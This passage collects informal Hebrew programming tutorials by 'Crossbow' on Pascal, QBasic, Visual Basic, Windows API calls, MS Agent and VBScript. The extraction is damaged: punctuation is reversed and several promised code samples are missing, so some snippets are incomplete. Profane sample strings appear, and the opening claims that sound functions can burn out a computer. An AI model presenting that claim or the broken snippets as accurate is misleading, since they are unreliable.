מסויימות שיעשו עומס יתר למחשב וישרפו אותו .זה אפשרי ,תאמינו לי!!!
NoSound
טוב ,זה פשוט גורם להפסקת הסאונד .אין מה להסביר פה ,זה סתאאאאם פונקצייה
חשובה אבל מסכנה לאללה!!!
נסו לבנות תוכנית בפסקל שמנגנת את "יונתן הקטן" ...מי ששולח לי לאי מייל
ראשון ,יזכה באיקס עיגול שבניתי בפסקל +קוד מקור .באמת!!!
תוכניות מסכנות ,קודי מקור" ,יונתן הקטן"" ,לדוד משה היה תפוח אדמה",
אפקטים קוליים או חזותיים ושלל ירקות ייתקבלו בברכה לאי מייל שלי ,שהוא:
baror@matav.net.il
טוב ,אז שלכם,
Crossbow
565
שינוי סוגי משתנים בפסקל
הממממ ...חשבתם פעם מה קורה אם אנחנו מקבלים קלט בצורת ארגומנט ורוצים
להפוך אותו למספר בתוכנית (משהו כמו מחשבון עם פרמטרים)? היום אני הולך
ללמד אתכם איך הופכים מספרים למחרוזות ולהיפך.
טוב ,אלה המשתנים .עכשיו ,נגיד שאני רוצה לקבל ארגומנט (שהוא בעצם משתנה
מסוג מחרוזת ,)String -אבל רוצה להראות כמה הוא כפול שתיים .הנה קוד
המקור שאמור לעשות את זה:
;VAR VarX:integer
BEGIN
;IF ParamCount = 0 THEN Exit
;)VarX := ParamStr (1
;)WriteLn (VarX, ' * 2 = ', VarX * 2
.END
הסברים
אם תנסו להריץ את התוכנית ,תקבלו שגיאה .למה?!?!? בגלל שהמשתנה הוא מסוג
משתנה מספרי ( ,)Integerאבל הפרמטר הוא מסוג מחרוזת ( .)Stringאז ,מה
עושים?!?!? פשוט מאוד ,משתמשים בפונקציות!!!
פונקציות הפיכה
אז ,מה שאנחנו הולכים לעשות כאן זה להציג את קוד המקור של התוכנית מקודם,
אבל הפעם אנחנו נבנה אותה כך שלא תיווצר שגיאה .הנה הקוד:
566
;)Val (ParamStr (1), VarX, VarY
;IF VarY <> 0 THEN Exit
;)WriteLn (VarX, ' * 2 = ', VarX * 2
.END
הסברים
טוב ,פה הוספנו עוד משתנה .המשתנה הראשון ייצג את הערך המספרי של הפרמטר,
והמשתנה השני ייצג את השגיאה שעלולה להיווצר בזמן הפיכת הארגומנט שלנו
לערך מספרי .טוב ,שורה אחרי זה מתחילה התוכנית ,ואז אנחנו אומרים שאם אין
פרמטרים אז אנחנו יוצאים מהתוכנית .אחרי זה אנחנו משתמשים בפונקצייה חדשה
שנקראת ( Valקיצור של ,)Valueשבעצם תפקידה הוא להפוך ערכים טקסטואלים
לערכים מספריים ( .)String To Integerבפונקצייה זו יש שלושה חלקים :הגדרת
המשתנה הטקסטואלי ,הגדרת משתנה שיקבל ערך מספרי מהמשתנה הטקסטואלי ,וגם
הגדרת משתנה מספרי ,שתפקידו יהיה לדווח על שגיאות .טוב ,שורה אחרי זה
אנחנו אומרים שאם התקבלה ששגיאה (שגיאה מיוצגת במספר ששונה מאפס) ,אז מה
שנעשה הוא לצאת באופן אוטומטי מהתוכנית .אחרי זה ,אנחנו מוציאים פלט של
המשתנה המספרי (שמיוצג פה כמשתנה .)VarX
הפוך
כמו שיש פונקצייה להחלפת ערך טקסטואלי למספרי ,כך יש פונקצייה להחלפה בין
ערך מספרי לטקסטואלי .הפונקצייה היא ( Strקיצור של ,)Stringובנויה בדיוק
כמו פונקציית ,Valרק עם שינוי קטן אחד:
רק רציתי להגיד בסוף ,שאני אשמח מאוד להחליף קודים פתוחים בשפת פסקל ,לא
משנה אם זה משחק מפגר \ מחשבון \ תוכנה משעממת (מחק את המיותר) .בקיצר,
אתם יודעים מה האי מייל שלי ...שלכם,
Crossbow
567
שפת Quick Basic
טוב ,אני יודע שהשפה הזאת די מסכנה ,אבל מה שבטוח הוא שאם מישהו רוצה
לעשות תיכנותים באם אס דוס ,הרבה יותר קל לתכנת עם Qbasicמאשר לעשות
קבצי אצווה .טוב ,אז אם יש לכם Qbasicזה יופי ,אם אין לכם תיצרו איתי
קשר בפורום של האתר או משהו בסגנון ,ואז אני אראה לכם מאיפה להוריד.
טוב ,אם פתחתם את ,Qbasicצריך להיות לכם מסך כחול כזה ,מציק לאללה...
טוב ,אז הפקודות די דומות לשפת ...Visual Basicבואו נתחיל עם משתנים.
נגיד שאנחנו אוצים ליצור משתנה חדש שיקראו לו VarXושיהיה שווה לעשר.
אז הנה זה:
DIM VarX
VarX = 10
DIM VarX
VarX = 10
PRINT VarX
אם אנחנו רוצים לכתוב טקסט ישיר ,שלא יצא מתוך משתנה ,כותבים במרכאות.
דוגמא:
COLOR 2
"PRINT "Crossbow
שחור = 0
כחול כהה = 1
ירוק כהה = 2
טורקיז = 3
אדום כהה = 4
סגול כהה = 5
כתום = 6
אפור בהיר = 7
אפור כהה = 8
כחול בהיר = 9
ירוק בהיר = 10
תכלת = 11
אדום בהיר = 12
568
בגול בהיר = 13
צהוב = 14
לבן = 15
עכשיו בטח מישהו יגיד" :איזה רעיון מטומטם!!! הרקע הוא בשחור ,אז למה
שיהיה טקסט שחור בכלל? לא רואים שחור על שחור!" והאמת שהוא צודק...
בשביל זה יש גם צבע רקע .הצבעים הם אותם צבעים שברשימה .כל פעם שמגדירים
צבע טקסט ,אפשר להגדיר גם צבע רקע .נסו לעשות ככה:
COLOR 0, 15
"PRINT "Crossbow
עכשיו נעבוד על משהו יותר מסובך ...לולאות! יש כמה סוגי לולאות .מי שמיכם
יודע קצת Cppאו Visual Basicאו Vbscriptאו Java Scriptיודע בטח כמה.
אז הלולאה פה היא בדיוק כמו בשפת ...Visual Basicאני מדבר על לולאת פור.
למי שלא יודע :כל פעם הלולאה חוזרת על עצמה עד שנגמרת הספירה .דוגמא:
FOR i = 0 TO 15
PRINT i
NEXT
FOR
i
0
TO 15
NEXT
FOR i = 0 TO 15
COLOR i
"PRINT "Crossbow
569
NEXT
Crossbow
570
.A.P.I
אי.פי.איי זה מסד נתונים ענק שבעצם מכיל את כל פקודות הוינדואוז .אז ,למה
זה טוב? אוקיי ,נגיד שאנחנו רוצים לבנות תוכנה ,שדורשת את הפקד של סוקט.
ואני רוצה לשים את זה אצל חבר שלי .אבל אין לו את הפקד הזה .אז אם נפעיל
את התוכנה תעלה שגיאה שהפקד חסר .אז מה עושים? במקום להשתמש בפקד ,נבנה
אותו .ואיך בונים פקד? עם פקודות אי.פי.איי! אז לכל מי שיש ויזואל בייסיק
שיפתח את התיקייה שבה ויזואל בייסיק נמצא וששם יפתח את אי.פי.איי .דוגמא:
טוב ,מקווה שהבנתם איך לפתוח .אוקיי ,פתחנו ועולים לנו טבלת בחירה ,מתחת
יש לנו טבלה ריקה ,ומתחת יש לנו תיבת טקסט .עכשיו ,עושים ככה :יש לנו את
כל התפריטים של התוכנה ,נכון? אז פותחים קובץ טקסט שנמצא בתיקייה שבה יש
את אי.פי.איי ,יעני ,אם התיקייה היא מה שכתוב מקודם ,למעלה ,אז:
כמובן שאתם טוענים קובץ טקסט ,לא מסד נתונים!!! טוב ,עכשיו הטבלאות היו
צריכות להתמלא .מה שאתם רואים זה כל פקודות הוינדואוז החדש .זה הולך לפי
סדר אותיות ,סדר כרונולוגי כזה .בקיצר ,תחפשו נגיד את הפקודה שמנגנת קול:
PlaySound
טוב ,תלחצו עליה פעמיים .תיבת הטקסט התמלאה בבולשיט ...תעתיקו את כל מה
שכתוב בתיבת הטקסט לתוך קוד מקור של פרוייקט חדש ,לתוך מודול חדש שיצרצם.
עכשיו ,נגיד שאנחנו רוצים שכל פעם שנפתח הפורם ינגן סאונד מטומטם .אז אני
חושב שזה ייראה בערך ככה:
טוב ,אם עשיתם הכל כמו שצריך ,כשאתם מריצים את התוכנה ינגן לכם משהו כמו
גלגל המזל .מה שטוב בפונקצייה הספציפית הזאת ,זאת העובדה זה שאם הקובץ לא
קיים ,התוכנה לא תיקח את זה כשגיאה ,אלא תנגן "ביפ" כזה של שגיאה.
טוב ,תשחקו קצת עם פונקציות של אי.פי.איי .לפני שאני מסיים פה ,אני רוצה
להשאיר לכם עוד פונקציות שכדאי לבדוק:
571
= SetSystemTimeמכוון את הזמן שהמערכת פועלת.
= SetWindowPosמכוון את מיקום החלון גם לפי קורדינטות.
= SetTimerיצירת טיימר.
Crossbow
VISUAL BASIC
טוב ,הגיע הזמן שכולכם תלמדו קצת תכנות! באמת ,לאף אחד לא יזיק ללמוד את
אחת השפות הכי טובות שקיימות ...אני יודע מה כולכם חושבים :בסך הכל זאת
שפת תכנות שמייקוסופט הוציאה!!! ואנחנו יודעים מה כולם חושבים עליהם...
אבל אם יש משהו שמייקרוסופט עשתה טוב :זה להוציא את ...Visual Basicטוב.
אני מניח שאין לכם את Visual Basicעל המחשב ...מי שרוצה לדעת מאיפה
משיגים את Visual Basicבאינטרנט שייצור איתי קשר בפורום של האתר .כמובן
שלא בפורום של גהנום!!! אני יודע מאיפה להשיג VB 5.0 CCEשזה בעצם שפת
Visual Basic 5.0הלא מלאה ...היא כוללת הכל ,חוץ מאפשרות של קימפול ,אבל
מי שממש רוצה קימפול אני אקמפל לו אם הוא יישלח לי את הקוד מקור ...לא כל
דבר יקומפל ,אלא רק תוכנות טובות שהם לא סתם בשביל להתאמן ...אם מישהו
רוצה לקמפל בעצמו אז שישקיע קצת כסף וייקנה את Visual Basic 6.0החדש.
טוב ,בואו נתחיל ...לשפת Visual Basicיש שלושה מצבים :מצב ויזואלי ,מצב
של קוד מקור ומצב של הרצה .כשאנחנו נכנסים לתוכנה הוא שואל אותנו איזה
פרוייקט אנחנו נפתח .תלחצו פעמיים על .Standard Exeעכשיו נכנסנו למצב
הראשון :המצב הויזואלי ...ככה התוכנית שלנו תראה .חוץ מהנקודות השחורות
על הרקע האפור ...חחחח ...טוב ,בואו נלמד מאפיינים ...מאפיינים הם סוג של
פונקצייה שעוזרת לנו מאוד ...טוב ,לחצו פעם אחת סתם על השטח האפור של
התוכנית שלנו .עכשיו לחצו לחיצה ימנית על התוכנית ,ואז לחצו על האפשרות
.Propertiesעכשיו צריך להיות חלון שבו המאפיינים ...תגררו אותו לצד ימין
ואז תלחצו פעם אחת על המאפיין .Backcolorתסתכלו מימין ...יש כמה אותיות
ומספרים מוזרים ,היועים כשפה ההקסדימלית ,ומימין לשפה ההקסדימלית יש חץ
למטה .תלחצו עליו .יש שתי כרטיסיות קטנות System :או .Paletteתלחצו על
Paletteואז על הצבע שאתם רוצים ...חחחח ...ניקח למשל ירוק ...תלחצו על
ירוק ואז הפלא ופלא! התוכנית הפכה את עצמה לירוקה! טוב ,עכשיו שינוי מה
שכתוב למעלה בחלון .תבחרו באפשרות Captionואז תכתבו שם משהו ...תראו מה
שרשום בחלון למעלה ...בסך הכל יש שלושה סוגים של מאפיינים :מאפיין צבע,
מאפיין טקסט או מאפיין .True Or Falseתראו ,אין לי כח לרשום כל פעם את
המילים ,True Or Falseאז מעכשיו True Or Falseנקרא ,TOFטוף? חחחחח...
שכחתי! יש גם מאפיין בחירה! לא משנה ...תשחקו קצת עם המאפיינים .הראשון
שישאיר לי מאפיין של בחירה בפורום של האתר יזכה להקדשה בתוכנה הבאה שלי.
חחחח ...באמת! טוב ,עכשיו הזמן ללמוד על פקדים ...פקדים הם בעצם כמו
,Formאבל בקטן ...כל הפקדים נכנסים ל ...Formבצד שמאל צריך להיות לכם
חלון ארוך וצר ...ויש עליו אייקונים קטנים ...תעמדו עם העכבר על האייקון
שנראה כמו קקטוס במדבר ...הוא יכתוב לכם .PictureBoxתלחצו עליו פעם אחת
ואז תעלו בחזרה עם העכבר על התוכנית ...שימו לב שהעכבר עכשיו בצורת צלב.
תלחצו בנקודה מסויימת על ה ,Formותגררו את העכבר כשהוא עדיין לחוץ ישר
באלכסון לנקודה אחרת ,ריבוע כזה יווצר לכם בגרירה ...עכשיו עזבו את העכבר
ותראו מה קרה ...יש לנו ריבוע כזה ,מלבן חדש בתוכנה!!! אם תלחצו עליו פעם
אחת ותבדקו את חלון Propertiesאתם תראו שגם למלבן הזה יש מאפיינים .טוב,
שחקו קצת עם המאפיינים של זה ...שחקו קצת עם עוד פקדים ...טוב ,אחרי זה,
מתחיל הקטע הרציני והיצירתי!!! התכנות!!! לחצו פעמיים מהר על איזה משהו
שיצרנו ...נגיד על ...PictureBoxאתם תראו את הקוד מקור של התוכנית...
572
עכשיו כמובן אין שם כלום ...טוב ,בואו נתחיל בהסברים Private Sub :זאת
אומרת תכניס פקודה Picture1 ...זה השם של התמונת ציור שלנו ...אלא אם כן
שינינו את השם שלה במאפיינים ...אחרי זה יש קו תחתון קטן _ ואחרי זה יש
את סוג המאורע ( Eventבאנגלית .)...טוב ,המאורע שלנו הוא ,Clickיעני
לחיצה אחת על העכבר ...מתחת יש שורה ריקה שבה נכניס את הקוד ,ומתחת כתוב
,End Subיעני סוף פקודה ,כדי להגיד לקובץ שהפקודה נגמרה ...בואו נעשה
שכשאנחנו לוחצים על התמונה ,היא הופכת לצבע אדום .טוב ,עכשיו ,בין פתיחת
הפקודה לסוף הפקודה נכתוב Picture1ואז נכתוב נקודה ( .).עכשיו זה נראה
כמו .Picture1פלוס העובדה שפתאום עלה לנו חלון שכתובים בו כל מיני דברים
כמו .Backcolorלמי שזוכר Backcolor ,זה מאפיין ,אז מה הוא עושה פה? מה
שהוא עושה זה איפיון מחודש .נגיד שנכתוב .Picture1.Backcolorיש לנו את
התמונה ( )Picture1ויש לנו את המאפיין שמחליף צבע ( .)Backcolorמה חסר?
חסר לנו הצבע שאנחנו רוצים .אני לא מאמין שמישהו יכתוב צבעים בשפת ההקס,
כי זה מסובך ומציק לאללה .אז מה עושים? שפת Visual Basicנתברכה בעובדה
שלכל מאפיין יש כמה צורות להגדיר אותו .נגיד צבע .צבע אפשר להגדיר בצורות
vbColor, qbColor, Rgb, Hexויש אפילו עוד ...עכשיו ,בואו נשתמש בדבר הכי
קל .vbColor :השיטה הזאת קלה מאוד :רושמים את הצבע באנגלית ,אבל לפני זה
כותבים את האותיות .vbזה הכל .נגיד שנרצה להגיד "צבע כחול" ,נכתוב בקוד
.vbBlueירוק זה .vbGreenלבן זה .vbOrangeאבל אנחנו רצינו אדום .אז מה
נעשה? נגדיר את הצבע בתור .vbRedהשורה שמלאה שכתבנו צריכה להראות ככה:
Picture1.Backcolor = vbRed
טוב ,עכשיו בואו נריץ את התוכנית .תלחצו על המקש .F5עכשיו נכנסנו למצב
השלישי :מצב ההרצה .אין מה ללמד על המצב הזה ...זה מראה לנו את התוכנה
עצמה רצה ,אבל במצב שהיא עדיין לא מקומפלת .תקחו את העכבר ותלחצו במצב
ההרצה על התמונה .מה קרה? אם הכל היה כמו שצריך ,התמונה הייתה צריכה
להפוך לצבע אדום .טוב .כדי לצאת ממצב ההרצה ,פשוט לחצו על Xבשורה הכי
עליונה בחלון הרצה .אתם יודעים ,כמו שסוגרים כל חלון .אם נכנסתם למצב
הויזואלי תלחצו פעמיים על התמונה .עכשיו ,נעשה משהו אחר .במקום להגדיר
שינוי מאפיין ,נגדיר פונקצייה .בואו נעשה שכשנלחץ על התמונה היא תזוז
למקום מסויים .תכתבו .Picture1.Move 2222, 2222המיקום בנוי משני מצבים:
המיקום השמאלי של התמונה והמיקום העליון של התמונה .זה הגיוני ,כי המיקום
הימני משתנה בהתאם לשמאלי ,והמיקום התחתון משתנה בהתאם לעליון .עכשיו
תריצו ותלחצו על התמונה ...חחחח ...זה חי! זה חי! טוב ,עכשיו תצאו עוד
פעם ממצב ההרצה .טוב ,עכשיו נלמד על פונקציות חיצוניות .בואו נעשה גנרטור
רנדומלי .המקודה של רנדומיזם (אקראיות) היא .Rndעכשיו ,בואו נגדיר מספר
אקראי שיהיה בין אפס למאה .נכתוב .Rnd * 100קלטתם? עכשיו משהו יותר קשה.
מספר בין שלוש למאה .איך עושים? כותבים Intשזה קיצור של ,Integerיעני
מספר מלא ,ואז שמים בסוגריים את הרנדומיזם .אם תהיו קצת יצירתיים ,תבינו
שכדי לכתוב מספר בין מאה לשלוש צריך לעשות ככה .)Int((Rnd * 100)+3 :פה
כדאי לעשות Ctrl + Shiftשמאליים כדי להבין .בקיצר ,איך נעשה שאם נלחץ על
התמונה היא תופיע במקום אקראי על המסך? נעשה ככה:
)(Private Sub Picture1_Click
Picture1.Move (Rnd * Form1.Width), (Rnd * Form1.Height) 'a
End Sub
הסברים :התמונה תזוז למקום אקראי בין אפס לרוחב של הטופס ,ובין אפס לגובה
של הטופס .עוד משהו שרציתי ללמד זה תזכיר בקוד .יש כאלה שאוהבים לעשות את
זה .אני ממש לא אבל אולי זה יעזור לכם .תכתבו ' (גרש) ,ואז מה שבא לכם.
אחרי שסיימתם תרוד שורה למטה ותראו שזה בצבע ירוק כהה ...כל מה שבצבע הזה
בקוד הוא תזכיר .עכשיו זה בטח נראה לכם מאוד מטומטם ,אבל כשיש לכם תוכנה
רצינית עם 1000שורות או משהו כזה ,התזכירים יכולים לעזור למתכנת לארגן
את הכל בראש .טוב ,דבר אחרון שאני רוה ללמד אתכם זה .MsgBoxתכתבו נגיד
במאורע לחיצה על התמונה משהו כזה Msgbox "Fuck you" 'crossbow :ואז תנסו
573
להריץ .אם עשיתם הכל נכון ,צריכה לעלות הודעה שיהיה כתוב בה .Fuck You
נסו להתעסק קצת עם MsgBoxוגם עם .InputBoxהערה חשובה :כל מי שבראש שלו
ללמוד Visual Basicאני מוכן לתת עצות ועזרה בפורום של האתר .עוד הערה
חשובה :למי שיש ,Visual Basicשיתעסק עם העזרה של התוכנה .זה עזר לי מאוד
מאוד מאוד ...שלכם,
Crossbow
זה בעצם יפעיל את פידי התוכי שלנו .עכשיו ,נגיד שאנחנו רוצים שפידי יגיד
לנו "אהלן" .נוסיף את השורה הבאה (קונטרול ושיפט):
"Agent1.Characters.Character("Peedy").Play "Wave
טוב ,ועכשיו אנחנו רוצים שהוא יזוז קצת לצד (קונטרול ושיפט):
Agent1.Characters.Character("Peedy").MoveTo 129, 49
574
"Agent1.Characters.Character("Peedy").Play "Wave
Agent1.Characters.Character("Peedy").MoveTo 129, 49
"!Agent1.Characters.Character("Merlin").Speak "Fuck you all
End Sub
טוב ,יש כמובן עוד מלא פקודות באג'נט ,אבל זה הבסיס .החסרונות הגדולים הם
שאין תמיכה בשפה העברית ,וגם אם אנחנו רוצים להעלות את זה על מחשב אחר,
אנחנו צריכים את כל הרכיבים (הבקר של אג'נט והסוכן) במחשב המארח .טוב ,זה
הכל להיום .שלכם,
Crossbow
עבודה עם קליפבורד בויז'ואל בייסיק
היום ,נלמד לעבוד עם ה קליפבורד בויזואל בייסיק .טוב ,דבר ראשון ,מה זה
הקליפבורד? קליפבורד ,נקרא בוינדואוז גם "תצוגת הלוח" ,שומר את המידע
שברצוננו להעתיק .בוינדואוז ,בניגוד למערכות אחרות כמו אם אס דוס ,למשל,
אנחנו יכולים לתת פקודה להעתיק את הקובץ ,ואז לשחרר אותו כשמתאים לנו.
המידע בקליפבורד יכול להשמר בצורת טקסט (טקסט רגיל ,או שמות של קבצים שגם
נשמרים במצב טקסטואלי) ,תמונה (כמו בביטמפ ,למשל) ,צליל (כמו של שימוש
בתוכנה ,SNDREC.EXEלמשל) ,או אובייקט זמני (כמו העתקת אובייקט בויזואל
בייסיק) .הכי טוב זה להראות לכם בטבלה:
טוב ,עכשיו ,אתם יכולים לשחק עם זה קצת ,להבין את זה .נסו להעתיק (בלי
להדביק) כל מיני דברים שונים ,ותראו מה קורה בקליפבורד .אתם יכולים לפתוח
את הקליפבורד ,ע"י התחל ,הפעלה "Clipbrd" ,ואז אנטר .עכשיו ,כל זה יופי,
אבל איך משתמשים בזה בויזואל בייסיק? טוב ,זאת לא בעייה .תיכנסו למצב של
הקידוד בויזואל בייסיק .תעשו שם את הדבר הבא (קונטרול ושיפט):
תריצו את התוכנה ,ותבדקו מה יש בקליפבורד .טוב ,כמו שהבנתם בטח כבר ,אפשר
לא רק לשלוח מידע לקליפבורד ,אלא גם להוציא ממנו מידע .תנסו להריץ הקוד
הבא (קונטרול ושיפט):
טוב ,זה בעצם קבלת מידע ,שנכנס לתוך משתנה .אני מקווה שלמדתם איך להשתמש
בזה ,זה לא כל כך חשוב ,אבל כדאי לדעת .שלכם,
Crossbow
575
שימוש בצבעים בויזואל בייסיק
טוב ,יש כמה דרכים לייצג צבעים בויזואל בייסיק .נשתמש הפעם בצבע האחורי
של הפורם שלנו ,ששמו הוא פורם .1אז הנה הדרכים:
שימוש בקיוביבולור
קיוביקולור היא שיטה להגדרת צבעים שבה המשתמש מגדיר מספר אחד ,בין אפס
לחמש עשרה .מי שמכיר את שפת התיכנות קיובייסיק מכיר את שיטת קיוביקולור.
שימוש זה גם מאוד מוגבל ,וצריך גם לזכור כל מספר ...בקיצר ,לחובבנים.
)Form1.Backcolor = QBColor (14
שורת תיכנות זו תהפוך את הצבע האחורי של הפורם לצבע צהוב.
טוב ,בניגוד לצבע רגיל ,צבע של אור מורכב משלושה צבעי יסוד :אדום ,ירוק
וכחול .פשוט מגדירים את רמת האדום ,הירוק והכחול .שימוש זה לדעתי מקצועי
כמעט כמו שפה הקסדימלית ,וגם נוח לשימוש .המלצה של קרוס בוו!
)Form1.Backcolor = RGB (255, 255, 0
שורת תיכנות זו תהפוך את הצבע האחורי של הפורם לצבע צהוב ,על ידי הגדרת
אדום וירוק באופן מקסימלי וכחול לא נכנס.
טוב ,הכי מקצועי אבל גם הכי מסובך .לא כל כך מומלץ ,יותר מדי אימוץ של
השכל שלנו בשביל להגדיר צבע ,אבל בכל זאת מעניין לחקור את זה קצת.
שלכם,
Crossbow
576
משתנים בויז'ואל בייסיק
אוקי .מה זה משתנה? משתנה Variable ,באנגלית ,הוא אות ,מילה או מספר
שהתפקיד שלהם הוא פנימי בלבד ,יעני ,המשתנה הוא לא פקד או פורם או משהו
שאפשר לראות ,אבל אפשר לייצג אותו החוצה .טוב ,דבר ראשון ,כמו בכל שפת
תיכנות ,אנחנו צריכים להגיד לו שאנחנו רוצים להכניס משתנה חדש .אחרי זה
מכניסים את השם החדש של המשתנה ,ואחרי זה אפשר להשאיר אותו ריק (וריאבל),
או שאפשר להגיד לתוכנה מה הסוג שלו .טוב ,אז זה הולך ככה:
טוב ,עכשיו אני אגיד לכם מהם סוגי המשתנים הכי משומשים והכי בסיסיים.
טוב ,אלה סוגי המשתנים .עכשיו בואו נעבור לשגיאות המשתנים .מה הבעייה
בשורות תיכנות הבאות?
הבעייה היא שהמשתנה מוגדר כמספר ואחר כך מוכנס לו ערך שהוא טקסט.
פה התוכנית תחזיר לנו שגיאה מספר ,13שאומרת שהסוג של המשתמש הוא טעות.
בואו נעבור לבעייה הבאה:
577
פה הבעייה היא שלמרות שסוג המשתנה מוגדר למספר שלם ,והערך הוא מספר שלם,
יש לנו פה מספר שעבר את הטווח של סוג המשתנה ,ולכן התוכנית תחזיר לנו את
שגיאה מספר ,6שאומרת שיש לנו פה עומס יתר.
טוב ,עכשיו מה הבעייה פה?
הבעייה שהמשתנה הוא מספר מלא ,והתוצאה חילוק הוא לא כל כך מספר מלא .אבל
פה ,לעומת הבעיות האחרות ,לא תוחזר שגיאה ,אלא המשתנה יעוגל באומדן למספר
השלם הכי קרוב .אוקי ,אלה היו סוגי השגיאות הכי נפוצות בויזואל בייסיק.
אפשר גם לגרום לשגיאה להעלם .אפשר להשתמש בזה בכמה דרכים.
טוב ,זה מספיק ,יעני ,אני חושב שלמדתם מספיק ,וחוצמזה אין לי כח לכתוב...
כל מיש שרוצה ללמוד תיכנות והוא לא ליימר יכול לשלוח לי לאייסיקיו בעיות,
ואני אעזור בכיף .שלכם,
Crossbow
578
פעולה עם קבצים בויזואל בייסיק
בעקבות בקשות ללימוד מתקדם יותר של ויזואל בייסיק ,אני עכשיו אלמד אתכם
לכתוב ולקרוא קבצים דרך ויזואל בייסיק בלי שימוש באובייקט ( Fsoשזה קיצור
של .)File System Objectטוב ,בואו נתחיל.
טוב ,קבצים מיוצגים בויזואל בייסיק על ידי מספרים (בניגוד לכמה שפות שבהן
קבצים הם משתנים) .קובץ הוא בעצם קבוע בתוך מערך ויזואל בייסיק .עכשיו,
כשאנחנו קוראים או כותבים בקובץ ,אנחנו צריכים לפתוח אותו .הנה דוגמא
טובה לפתיחת קובץ:
Close #1
End Sub
הסברים
טוב ,אנחנו לוקחים קובץ ופותחים אותו .ההצהרה על הפתיחה כוללת מספר חלקים
שבעצם אומרים לנו איזה קובץ אנחנו פותחים ,לאיזו מטרה אנחנו פותחים אותו
ואיך הוא ייוצג .אחרי זה אנחנו מצהירים על סגירת הקובץ .בין ההצהרות על
הפתיחה והסגירה אנחנו נרשום את הקוד שישתמש בקובץ שפתחנו .אנחנו יכולים
לפתוח קובץ למספר מטרות .הנה הסברים על כל אחד מהם:
Append
מוסיף מידע לסוף קובץ שקיים .אם הקובץ לא קיים ,ויזואל בייסיק ייצור אותו
בלי לתת שום הודעת שגיאה או אזהרה.
Binary
פותח קובץ בשפה בינארית טהורה -ביטים ובתים .שוב ,אם הקובץ לא קיים ,הוא
ייווצר אוטומטית על ידי ויזואל בייסיק.
Input
פותח קובץ לקריאה מתוכו .אם הקובץ לא קיים תעלה הודעת שגיאה.
Output
579
Random
פותח את הקובץ לאכסון אקראי .משומש בעיקר להקלטת מידע פשוט .אם הקובץ לא
קיים ,הוא ייווצר אוטומטית על ידי ויזואל בייסיק.
טוב ,כמו שאמרנו קודם ,יש גם מספר פונקציות בתוך הקבצים .הנה כל הפקודות
שאפשר להכניס בתוך קובץ שפתחנו:
Line Input
שומר מידע בקובץ וכל פעם מוסיף שורה (כאילו לחצתם על אנטר).
Input
Print
Write
מכניס מידע לתוך הקובץ ,אבל עם כמה מאפיינים שונים מפונקציית .Print
EOF
ממשיך עד שמגיע סוף הקובץ .משמש בעיקר להוצאת מידע מתוך קובץ.
יישום מה שלמדנו
טוב ,בואו נבנה תוכנית קטנה .בתוכנית הזאת יהיה פורם (שייקרא ,)Form1גם
תהיה לנו איזו תיבת רשימות (שתיקרא .)List1טוב ,בקוד הזה אנחנו קוראים
את כל מה שכתוב בקובץ Autoexec.batשלנו ,ומציג אותו בתיבת הרשימות:
תוכנית מאוד פשוטה :קודם כל אנחנו יוצרים משתנה שמיוצג בתור ,VarXאחר כך
אנחנו יוצרים לולאה שתמשיך עד שנגיע לסוף הקובץ ,אחר כך אנחנו פשוט נכניס
את המידע מהקובץ על ידי פתיחת הקובץ לשליפת מידע ,והוצאת המידע בעזרת
הפוקנצייה .Inputאחרי זה אנחנו מכניסים את המידע (שעכשיו כתוב במשתנה
580
שהגדרנו מקודם) לתוך תיבת הרשימות .אחרי כל זה ,אנחנו סוגרים את הלולאה,
סוגרים את הקובץ ,וסוגרים את התוכנית .זהו.
נגמר
טוב ,אני מקווה שהבנתם את הנושא הזה ,נושא מכאיב ולפעמים מבלבל ולא קל,
אבל חשוב לדעת אותו (למרות שיש פקד ,FSOכי פשוט כמה שתהיו תלויים בפחות
פקדים ויותר בפונקציות ובפונקציות ,APIכך התוכנית תעשה לכם פחות בעיות,
וכן ,זהו החסרון הגדול מאוד של ויזואל בייסיק) .שאלות ,הארות ,הערות,
ובכלל שאר ירקות יתקבלו בברכה לאייסיקיו שלי .שלכם,
Crossbow
VISUAL BASIC SCRIPT
היום אני אלמד אתכם על ייצור דפי אינטרנט דינאמיים ואינטראקטיביים על ידי
שימוש בויבי סקריפט .אז ,מה זה ויבי סקריפט? ויבי סקריפט ,נקרא באנגלית
בשם ,VbScriptהוא לא ממש שפת תיכנות ,אלא יותר שפת סקריפט .שפת הסקריפט
הזו נגזרת משפת התיכנות ויזואל בייסיק ( ,)Visual Basicולמרות השוני
ביניהם ,יש גם המון דברים משותפים .יתרון גדול של תיכנות דפי אינטרנט
בכלל ובשפות סקריפט בפרט ,הוא שהן עם קוד מקור פתוח (המאפשר לכולנו לראות
בעצם את כל הקוד) ,והן לא דורשות שום קומפיילר (מהדר) .טוב ,בואו נתחיל!
יצירת אובייקטים
טוב ,כמו שויזואל בייסיק היא שפת תיכנות המוגדרת כשפה שהיא שפת תיכנות
מונחה אובייקטים ( ,)Object Orianted Programingככה גם ויבי סקריפט .כמו
גם בויזואל בייסיק ,האובייקטים ממוקמים בתוך פורם ( .)Formכדי להבדיל את
יצירת האובייקטים משאר קוד דף האינטרנט (הידוע בתור ,)Htmlאנו ממקמים את
תוויות הפורם .כל מה שיהיה בין תוויות הפורם יהיה מוגדר כאובייקט בתוך
הפורם הנוכחי .הנה דוגמא לדף אינטרנט פשוט עם פורם:
<>HTML
<>HEAD
<>TITLE> My first dynamic page </TITLE
<>HEAD/
<>BODY
<>"FORM METHOD= "Post" ACTION = "" NAME = "Form1
<>FORM/
<>BODY/
<>HTML/
אם נריץ את הקוד על דפדפן ,אנחנו נראה דף ריק .זה מכיוון שהפורם הוא שדה
וירטואלי בלבד ,ואין בו שום אובייקט כרגע .בואו ניצור אובייקט .בואו נעשה
ככה שאם אנחנו נלחץ על כפתור ,תעלה הודעה מסויימת .אז הנה ,בואו נתחיל את
הכל על ידי הצבת אובייקט הכפתור בתוך הפורם שכבר יצרנו:
<>HTML
<>HEAD
<>TITLE> My first dynamic page </TITLE
<>HEAD/
<>BODY
<>"FORM METHOD= "Post" ACTION = "" NAME = "Form1
<>"INPUT TYPE= "button" NAME = "Button1" VALUE = "Click Here
<>FORM/
<>BODY/
581
<>HTML/
טוב ,אז הנה ,בין שתי תוויות הפורם שמנו אובייקט .עכשיו ,כל אובייקט בעצם
מתחיל בתווית אינפוט .אחרי זה יש בדרך כלל שלושה מאפיינים מרכזיים :שם
האובייקט ,סוג האובייקט וערך האובייקט .עכשיו ,שם האובייקט הוא שם שיציין
את האובייקט .כל פעם שאנחנו רוצים להתייחס לאוביקט שיצרנו ,נתייחס אליו
